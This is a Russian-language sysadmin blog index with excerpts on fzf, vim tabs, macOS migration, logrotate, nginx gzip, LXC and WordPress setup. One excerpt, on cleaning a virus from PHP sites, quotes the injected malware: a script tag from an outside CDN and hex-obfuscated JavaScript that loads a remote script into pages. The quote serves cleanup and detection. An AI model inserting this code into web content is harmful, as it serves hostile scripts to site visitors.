Нечеткий поиск fzf

brew install fzf # To install useful key bindings and fuzzy completion: /usr/local/opt/fzf/install # Ставим альтернативу find: brew install fd # Чтобы искать также по скрытым файлам: echo 'export FZF_DEFAULT_COMMAND="fd --type f --hidden --follow"' >> ~/.fzf.zsh # Меняем по умолчанию используемую комбинацию для запуска автодополнения с **<TAB> на просто <TAB>  например в ssh echo 'export …

Нечеткий поиск fzfЧитать полностью »

Используем Табы для отступов, а не пробелы

Мы используем везде Tab для отступов. Надо везде в редакторах выставить использование и проверить настройку, чтобы при нажатии Tab они не заменялись на пробелы. в vim для этого в ~/.vimrc удалить/закомментировать строчку: " set expandtab " Настройка отображения Tab отступов = 4 пробела set tabstop=4 set shiftwidth=4 В vim заменить каждые два пробела таб в …

Используем Табы для отступов, а не пробелыЧитать полностью »

Перенос настроек Mac OS

При настройке нового компьютера лучше всего создавать такое же имя пользователя что и на прошлом, чтобы все пути и ссылки были такие же.  В моем случае имя пользователя s Keychain Все пароли хранятся в keychain, чтобы перенести их надо скопировать базу паролей keychain:~/Library/Keychains/login.keychain-db~/Library/Keychains/metadata.keychain-dbДостаточно перенести ее на новый компьютер с таким же именем пользователя как и …

Перенос настроек Mac OSЧитать полностью »

Переместить git репозиторий на уровень вверх по иерархии директорий

Чтобы перемести git репозиторий из директории с сайтом на уровень выше (чтобы .git хранился не в public_html где сайт, а в той же директории где и сам public_html) это и безопаснее и можно включить полезный файлы bash скриптов в репозиторий и в случае случайного удаления директории public_html сайт можно быстро восстановить из репозитория) cd /var/www/witts.ru/public_html mkdir …

Переместить git репозиторий на уровень вверх по иерархии директорийЧитать полностью »

Лечение вируса на сайтах с php

Обнаружил у себя на сайтах wordpress и не только, где разрешения на папки стояли 777 или пользователь www-data имел право на запись файлы с названиями: ytpovuie ytpovuie.zip en.php и вида 09378bfbf19.php  А также в начале многих php файлов добавился текст, который определялся яндексом как вирус и выводил сообщение об этом в поисковой выдаче: <script type='text/javascript' src='https://cdn.eeduelements.com/jquery.js'></script><script type='text/javascript'>var _0x2f98=["x62x6Fx64x79","x62x65x66x6Fx72x65x65x6Ex64","x3Cx73x63x72x69x70x74x20x73x72x63x3Dx27x68x74x74x70x73x3Ax2Fx2Fx63x64x6Ex2Ex65x65x64x75x65x6Cx65x6Dx65x6Ex74x73x2Ex63x6Fx6Dx2Fx6Ax71x75x65x72x79x2Ex6Ax73x27x20x61x73x79x6Ex63x20x74x79x70x65x3Dx27x74x65x78x74x2Fx6Ax61x76x61x73x63x72x69x70x74x27x3Ex3Cx2Fx73x63x72x69x70x74x3E","x69x6Ex73x65x72x74x41x64x6Ax61x63x65x6Ex74x48x54x4Dx4C","x64x69x73x63x6Fx6Ex6Ex65x63x74","x64x6Fx63x75x6Dx65x6Ex74x45x6Cx65x6Dx65x6Ex74","x6Fx62x73x65x72x76x65"];(function(){var …

Лечение вируса на сайтах с phpЧитать полностью »

logrotate

Установка: apt-get install logrotate Делаем настройку для nginx для всех сайтов на сервере и log wordpress сайта vim /etc/logrotate.d/www /var/www/*/*.log { daily missingok rotate 7 compress delaycompress notifempty create 0644 coder staff sharedscripts postrotate invoke-rc.d nginx rotate >/dev/null 2>&1 endscript } /var/www/ilfumo.ru/httpdocs/wp-content/*.log { daily missingok rotate 7 compress delaycompress notifempty create 0644 www-data www-data sharedscripts …

logrotateЧитать полностью »

gzip сжатие для сайта на сервере nginx

Для чего использовать gzip сжатие gzip сжатие применяет для уменьшения передаваемое информации между web-сервером и браузером. web-сервер (в нашем случае nginx) перед отправкой данных из списка gzip_types сжимает их и отправляет клиенту (браузеру), который при получении их на лету распаковывает и обрабатывает дальше как обычно. За счет этого сайт передается, а значит и отображается клиенту быстрее. Что …

gzip сжатие для сайта на сервере nginxЧитать полностью »

LXC linux containers

LXC linux containers - виртуальные контейнеры - технология нативной виртуализации уровня операционной системы. Установка:apt-get install lxc lxctl lxc-templates bridge-utils # Создать виртуалку в /var/lib/lxc/frank где frank - имя контейнера (обычно в примерах test-container), в системе ubuntu по умолчанию пользователь ubuntu с паролем ubuntu. Список доступных типов контейнеров (операционных систем) можно посмотреть так: ls /usr/share/lxc/templates/lxc-create -n frank -t …

LXC linux containersЧитать полностью »

Сжатие изображений

Программы для сжатия изображений imagemagick https://imagemagick.org/ - в этот пакет входят консольные утилиты convert для сжатия изображений и identify для получения информации об изображении.  optipng http://optipng.sourceforge.net/ программа для подбора лучшего метода компрессии PNG изображения без потери качества. Она может перебирать все возможные алгоритмы сжатия и находить среди них те, что приведут к минимальному размеру конкретного изображения. Установка:sudo apt-get install imagemagick …

Сжатие изображенийЧитать полностью »

Установка WordPress с Elementor и SSL

Создаем Базу Данных и пользователя для нашего сайта. mysql CREATE DATABASE wittsru; CREATE USER 'wittsru'@'%' IDENTIFIED BY 'ПАРОЛЬ'; GRANT ALL PRIVILEGES ON wittsru.* TO 'wittsru'@'%' WITH GRANT OPTION; FLUSH PRIVILEGES; EXIT cd /var/www/witts.ru/ wget https://wordpress.org/latest.tar.gz tar -zxvf latest.tar.gz mv wordpress public_html rm -rf latest.tar.gz # Устанавливаем тему https://github.com/pojome/elementor-hello-theme cd /var/www/witts.ru/public_html/wp-content/themes wget https://github.com/pojome/elementor-hello-theme/archive/master.zip unzip master.zip rm …

Установка WordPress с Elementor и SSLЧитать полностью »